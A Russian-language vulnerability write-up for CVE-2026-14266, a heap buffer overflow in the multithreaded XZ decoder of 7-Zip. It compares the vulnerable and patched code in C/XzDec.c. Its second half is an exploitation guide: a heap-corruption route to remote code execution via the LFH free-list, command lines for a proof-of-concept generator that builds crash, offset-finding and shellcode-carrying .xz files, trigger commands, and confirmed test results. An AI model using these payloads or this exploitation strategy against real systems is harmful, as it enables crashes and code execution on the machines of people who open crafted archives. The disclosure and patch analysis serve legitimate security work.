CVE-2026-14266 — Переполнение буфера в куче в XZ-декодере 7-Zip

Критический уровень опасности | CVSS: 8.8 (High) | CWE-122: Переполнение буфера в куче
Затронуто: 7-Zip ≤ 26.01 | Исправлено: 7-Zip 26.02 (2026-06-25)
Обнаружено и проанализировано: Li Yuxuan (liyuxuan504-byte) и команда

Краткое описание

Переполнение буфера в куче существует в многопоточном пути XZ-декодера в 7-Zip версий ≤ 26.01. Специально созданный архив .xz может вызвать запись за пределы выделенного в куче выходного буфера, что приводит к:

Отказу в обслуживании (подтверждено) — стабильное падение с STATUS_ACCESS_VIOLATION (0xC0000005)
Удалённому выполнению кода (потенциально) — контролируемое переполнение кучи позволяет повредить указатели функций / vtable при подходящих условиях компоновки кучи

Уязвимость находится в MixCoder_Code() в файле C/XzDec.c, где ветвь SingleBuf (outBuf) передаёт непроверенное значение destLen2 декодеру LZMA2 без ограничения его оставшейся ёмкостью буфера (outBufSize - outWritten).

Любая система или приложение, использующее уязвимую версию 7-Zip (или 7z.dll) для извлечения непроверенных файлов .xz, находится в зоне риска — многопоточный путь включён по умолчанию на многоядерных системах.

Подробный анализ уязвимости

Затронутый путь выполнения кода

XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

Первопричина (26.01 против 26.02)

Уязвимая версия (26.01) — C/XzDec.c, ~строка 606:

if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

Исправленная версия (26.02) — C/XzDec.c, ~строка 605:

if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

Исправление занимает 3 строки. Оно вычитает p->outWritten (байты, уже записанные в этот outBuf) из destLen2 перед передачей декодеру LZMA2, гарантируя, что декодер никогда не сможет записать за пределы выделенного буфера.

Почему уязвимость только в многопоточном режиме?

В однопоточном пути XzUnpacker_Code применяет собственное ограничение rem на основе unpackSize перед вызовом MixCoder_Code. Это ограничение корректно лимитирует выходные данные. Многопоточный путь SingleBuf обходит это ограничение, поскольку передаёт destLenOrig напрямую — вышестоящее ограничение неэффективно, когда destLen заранее установлен в полный оставшийся размер входных данных, а не в фактическую оставшуюся ёмкость буфера.

Анализ эксплуатации

Поведение выделения памяти в куче

outBuf выделяется в CRT-куче через ISzAlloc_Alloc(allocMid, unpackSize):

`unpackSize`	Аллокатор	Возможность эксплуатации
≤ 16 KB	LFH (Low Fragmentation Heap)	★ Лучший вариант для RCE — соседние объекты в одном bucket
16–64 KB	Segment Heap (Backend)	Возможно — повреждение free-list
≥ 64 KB	VirtualAlloc (выравнивание по страницам)	Только DoS — guard page перехватывает переполнение

Стратегия RCE (путь через LFH)

Наиболее перспективный подход к эксплуатации:

Используйте небольшой unpackSize (256–16384 байт), чтобы задействовать выделение через LFH
Переполните outBuf в соседние подсегменты LFH
Повредите указатель next в free-list LFH → получаете примитив произвольного выделения (arbitrary-alloc)
Добейтесь выделения памяти поверх цели (указатель функции, vtable, адрес возврата)
Активируйте повреждённый указатель → выполнение кода

Текущий статус

Возможность	Статус
DoS (падение)	✅ Подтверждено, стабильно на 7-Zip 26.00 x64
Тихое переполнение кучи (LFH)	✅ Подтверждено — запись за пределы буфера, код выхода 2, без падения
Доставка управляемой полезной нагрузки	✅ Полностью управляемо через данные LZMA2 copy-chunk
Примитивы компоновки кучи	✅ Концепция доказана — требуется настройка раскладки под конкретную цель
Полная цепочка RCE	❌ В работе — требуется анализ компоновки кучи на целевой системе

Почему отладка затруднена

Обычные отладчики (x64dbg, WinDbg) изменяют поведение при создании процесса. Под отладчиком 7z.dll может вообще не использовать многопоточный путь декодирования XZ — процесс молча переключается на однопоточный режим, в котором уязвимость не срабатывает. Потребовался следующий подход:

Запускать 7z.exe вне отладчика
Подключаться в течение 1–2 секунд (до падения)
Либо использовать специальный мини-отладчик (предоставлен в tools/)

Генератор PoC

poc/poc-cve-2026-14266-rce.py — полнофункциональный генератор XZ-эксплойтов:

Быстрый старт

# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

Ключевые параметры

Параметр	Описание	Рекомендация
`--unpack-size`	Заявленный unpackSize блока (= размер выделения outBuf)	256–4096 для RCE через LFH
`--overflow`	Общее количество байт для записи за пределы outBuf	4096–32768
`--chunk-size`	Размер данных LZMA2 copy-chunk (1–65535)	Не должен делить unpackSize нацело! Используйте простое число (97) или `--force-align-overflow`
`--payload-cyclic`	Циклический шаблон для поиска смещения	Используйте сначала, затем замените реальной полезной нагрузкой
`--payload-shellcode`	Встраивание шеллкода Win x64 `WinExec("calc.exe")`	~276 байт

Активация

# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

Результаты тестирования

Протестировано на: Windows 11 Pro x64 (build 26200) + 7-Zip 26.00

`unpackSize`	`chunk_size`	Переполнение	Результат
256 KB (0x40000)	4096 (выравнивание)	~32 KB	`0xC0000005` — Access Violation (guard page)
256 KB	3 (исходный DoS)	~30 KB	`0xC0000005` — Access Violation
256 KB	4096	~32 KB	`0xC0000374` — Обнаружено повреждение кучи
256 B	97	~1 KB	Код выхода 2 — Тихое переполнение!
4 KB	97	~16 KB	Код выхода 2 — Тихое переполнение!
16 KB	97	~32 KB	Код выхода 2 — Тихое переполнение!

Популярное

CVE-2026-14266